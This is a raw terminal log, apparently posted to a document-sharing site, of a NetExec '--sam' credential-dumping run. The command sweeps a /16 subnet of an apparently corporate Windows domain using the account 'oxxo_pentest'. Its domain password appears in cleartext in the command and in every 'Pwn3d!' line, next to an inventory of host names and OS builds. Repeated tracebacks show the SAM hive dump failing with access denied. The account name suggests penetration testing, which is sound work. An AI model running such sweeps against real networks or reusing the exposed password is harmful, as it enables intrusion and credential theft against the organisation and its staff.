0% found this document useful (0 votes)
20 views197 pages

Sam Hashes

Uploaded by

razielleibra
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
20 views197 pages

Sam Hashes

Uploaded by

razielleibra
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

nxc smb [Link]/16 -u 'oxxo_pentest' -p 'p8Z49-#MX6?

ki@' --sam
SMB [Link] 445 OXOLT0200001 [*] Windows 11 Build 22621 x64
(name:OXOLT0200001) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020118 [*] Windows 11 Build 22621 x64
(name:OXODT020118) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020056 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020056) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020102 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT020102) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT020153 [*] Windows 11 Build 22621 x64
(name:OXODT020153) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020060 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT020060) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXOLT020021 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020021) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020092 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT020092) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT020008 [*] Windows 11 Build 22621 x64
(name:OXODT020008) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020013 [*] Windows 11 Build 22621 x64
(name:OXODT020013) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020041 [*] Windows 11 Build 22621 x64
(name:OXODT020041) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020121 [*] Windows 11 Build 22621 x64
(name:OXODT020121) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020044 [*] Windows 11 Build 22621 x64
(name:OXOLT020044) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020082 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT020082) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02070006 [*] Windows 11 Build 22621 x64
(name:OXODT02070006) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020131 [*] Windows 11 Build 22621 x64
(name:OXODT020131) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020009 [*] Windows 11 Build 22621 x64
(name:OXODT020009) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020116 [*] Windows 11 Build 22621 x64
(name:OXODT020116) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020068 [*] Windows 11 Build 22621 x64
(name:OXODT020068) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020158 [*] Windows 11 Build 22621 x64
(name:OXODT020158) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 NONE [*] OS 1.00 (name:) (domain:)
(signing:False) (SMBv1:True)
SMB [Link] 445 OXODT020088 [*] Windows 11 Build 22621 x64
(name:OXODT020088) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020057 [*] Windows 11 Build 22621 x64
(name:OXOLT020057) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020127 [*] Windows 11 Build 22621 x64
(name:OXODT020127) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02070004 [*] Windows 11 Build 22621 x64
(name:OXODT02070004) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02090005 [*] Windows 11 Build 22621 x64
(name:OXODT02090005) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 NONE [*] OS 1.00 (name:) (domain:)
(signing:False) (SMBv1:True)
SMB [Link] 445 OXODT020079 [*] Windows 11 Build 22621 x64
(name:OXODT020079) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020011 [*] Windows 11 Build 22621 x64
(name:OXODT020011) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020047 [*] Windows 11 Build 22621 x64
(name:OXODT020047) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020004 [*] Windows 11 Build 22621 x64
(name:OXODT020004) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 CEVLAP2116 [*] Windows 11 Build 22621 x64
(name:CEVLAP2116) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020059 [*] Windows 11 Build 22621 x64
(name:OXOLT020059) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020030 [*] Windows 11 Build 22621 x64
(name:OXODT020030) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020031 [*] Windows 11 Build 22621 x64
(name:OXODT020031) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020142 [*] Windows 10.0 Build 26100
x64 (name:OXODT020142) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02030007 [*] Windows 11 Build 22621 x64
(name:OXODT02030007) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020024 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020024) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020010 [*] Windows 11 Build 22621 x64
(name:OXODT020010) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02090006 [*] Windows 11 Build 22621 x64
(name:OXODT02090006) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020065 [*] Windows 11 Build 22621 x64
(name:OXODT020065) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020087 [*] Windows 11 Build 22621 x64
(name:OXODT020087) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020097 [*] Windows 11 Build 22621 x64
(name:OXODT020097) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02100006 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02100006) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02030003 [*] Windows 11 Build 22621 x64
(name:OXODT02030003) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020010 [*] Windows 11 Build 22621 x64
(name:OXOLT020010) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02050012 [*] Windows 11 Build 22621 x64
(name:OXODT02050012) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020022 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT020022) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT020225 [*] Windows 11 Build 22621 x64
(name:OXODT020225) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020113 [*] Windows 11 Build 22621 x64
(name:OXODT020113) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 NONE [*] OS 1.00 (name:) (domain:)
(signing:False) (SMBv1:True)
SMB [Link] 445 OXODT020151 [*] Windows 10.0 Build 26100
x64 (name:OXODT020151) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02030005 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02030005) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02060001 [*] Windows 11 Build 22621 x64
(name:OXODT02060001) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02060004 [*] Windows 11 Build 22621 x64
(name:OXODT02060004) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020077 [*] Windows 11 Build 22621 x64
(name:OXODT020077) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020048 [*] Windows 11 Build 22621 x64
(name:OXOLT020048) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020019 [*] Windows 11 Build 22621 x64
(name:OXODT020019) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02030010 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02030010) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT020227 [*] Windows 11 Build 22621 x64
(name:OXODT020227) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020037 [*] Windows 11 Build 22621 x64
(name:OXODT020037) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020007 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020007) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020146 [*] Windows 11 Build 22621 x64
(name:OXODT020146) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020058 [*] Windows 11 Build 22621 x64
(name:OXOLT020058) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020023 [*] Windows 11 Build 22621 x64
(name:OXOLT020023) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020108 [*] Windows 11 Build 22621 x64
(name:OXODT020108) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020043 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020043) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020115 [*] Windows 11 Build 22621 x64
(name:OXODT020115) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020135 [*] Windows 11 Build 22621 x64
(name:OXODT020135) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020021 [*] Windows 11 Build 22621 x64
(name:OXODT020021) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020017 [*] Windows 11 Build 22621 x64
(name:OXOLT020017) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020156 [*] Windows 11 Build 22621 x64
(name:OXODT020156) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02060010 [*] Windows 11 Build 22621 x64
(name:OXODT02060010) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020149 [*] Windows 11 Build 22621 x64
(name:OXODT020149) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020091 [*] Windows 11 Build 22621 x64
(name:OXODT020091) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020041 [*] Windows 11 Build 22621 x64
(name:OXOLT020041) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020063 [*] Windows 11 Build 22621 x64
(name:OXODT020063) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02040010 [*] Windows 11 Build 22621 x64
(name:OXODT02040010) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020104 [*] Windows 11 Build 22621 x64
(name:OXODT020104) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020141 [*] Windows 11 Build 22621 x64
(name:OXODT020141) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020007 [*] Windows 11 Build 22621 x64
(name:OXODT020007) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020042 [*] Windows 11 Build 22621 x64
(name:OXODT020042) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020226 [*] Windows 11 Build 22621 x64
(name:OXODT020226) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020006 [*] Windows 11 Build 22621 x64
(name:OXODT020006) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020101 [*] Windows 11 Build 22621 x64
(name:OXODT020101) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020030 [*] Windows 10.0 Build 26100
x64 (name:OXOLT020030) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020099 [*] Windows 11 Build 22621 x64
(name:OXODT020099) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020004 [*] Windows 11 Build 22621 x64
(name:OXOLT020004) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020019 [*] Windows 11 Build 22621 x64
(name:OXOLT020019) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020086 [*] Windows 11 Build 22621 x64
(name:OXODT020086) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020020 [*] Windows 11 Build 22621 x64
(name:OXODT020020) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020114 [*] Windows 11 Build 22621 x64
(name:OXODT020114) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020070 [*] Windows 11 Build 22621 x64
(name:OXODT020070) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXOLT020027 [*] Windows 11 Build 22621 x64
(name:OXOLT020027) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT020105 [*] Windows 11 Build 22621 x64
(name:OXODT020105) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02010001 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02010001) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXOLT020033 [*] Windows 11 Build 22621 x64
(name:OXOLT020033) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 NONE [*] OS 1.00 (name:) (domain:)
(signing:False) (SMBv1:True)
SMB [Link] 445 OXODT02060051 [*] Windows 11 Build 22621 x64
(name:OXODT02060051) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02040004 [*] Windows 11 Build 22621 x64
(name:OXODT02040004) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02070011 [*] Windows 11 Build 22621 x64
(name:OXODT02070011) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02060005 [*] Windows 11 Build 22621 x64
(name:OXODT02060005) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02030008 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02030008) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02070005 [*] Windows 10.0 Build 26100
x64 (name:OXODT02070005) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02070021 [*] Windows 11 Build 22621 x64
(name:OXODT02070021) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02020002 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02020002) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXOASP02007 [*] Windows 11 Build 22621 x64
(name:OXOASP02007) (domain:[Link]) (signing:False) (SMBv1:False)
SMB [Link] 445 OXODT02020001 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02020001) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02020004 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02020004) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXOLT0200001 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT02030013 [*] Windows 11 Build 22621 x64
(name:OXODT02030013) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02040007 [*] Windows 11 Build 22621 x64
(name:OXODT02040007) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02040006 [*] Windows 11 Build 22621 x64
(name:OXODT02040006) (domain:[Link]) (signing:True) (SMBv1:False)
SMB [Link] 445 OXODT02020005 [*] Windows 10 / Server 2019
Build 19041 x64 (name:OXODT02020005) (domain:[Link]) (signing:True)
(SMBv1:False)
SMB [Link] 445 OXODT02030013 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020056 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020102 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020153 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020060 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXOLT020021 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020092 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020008 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
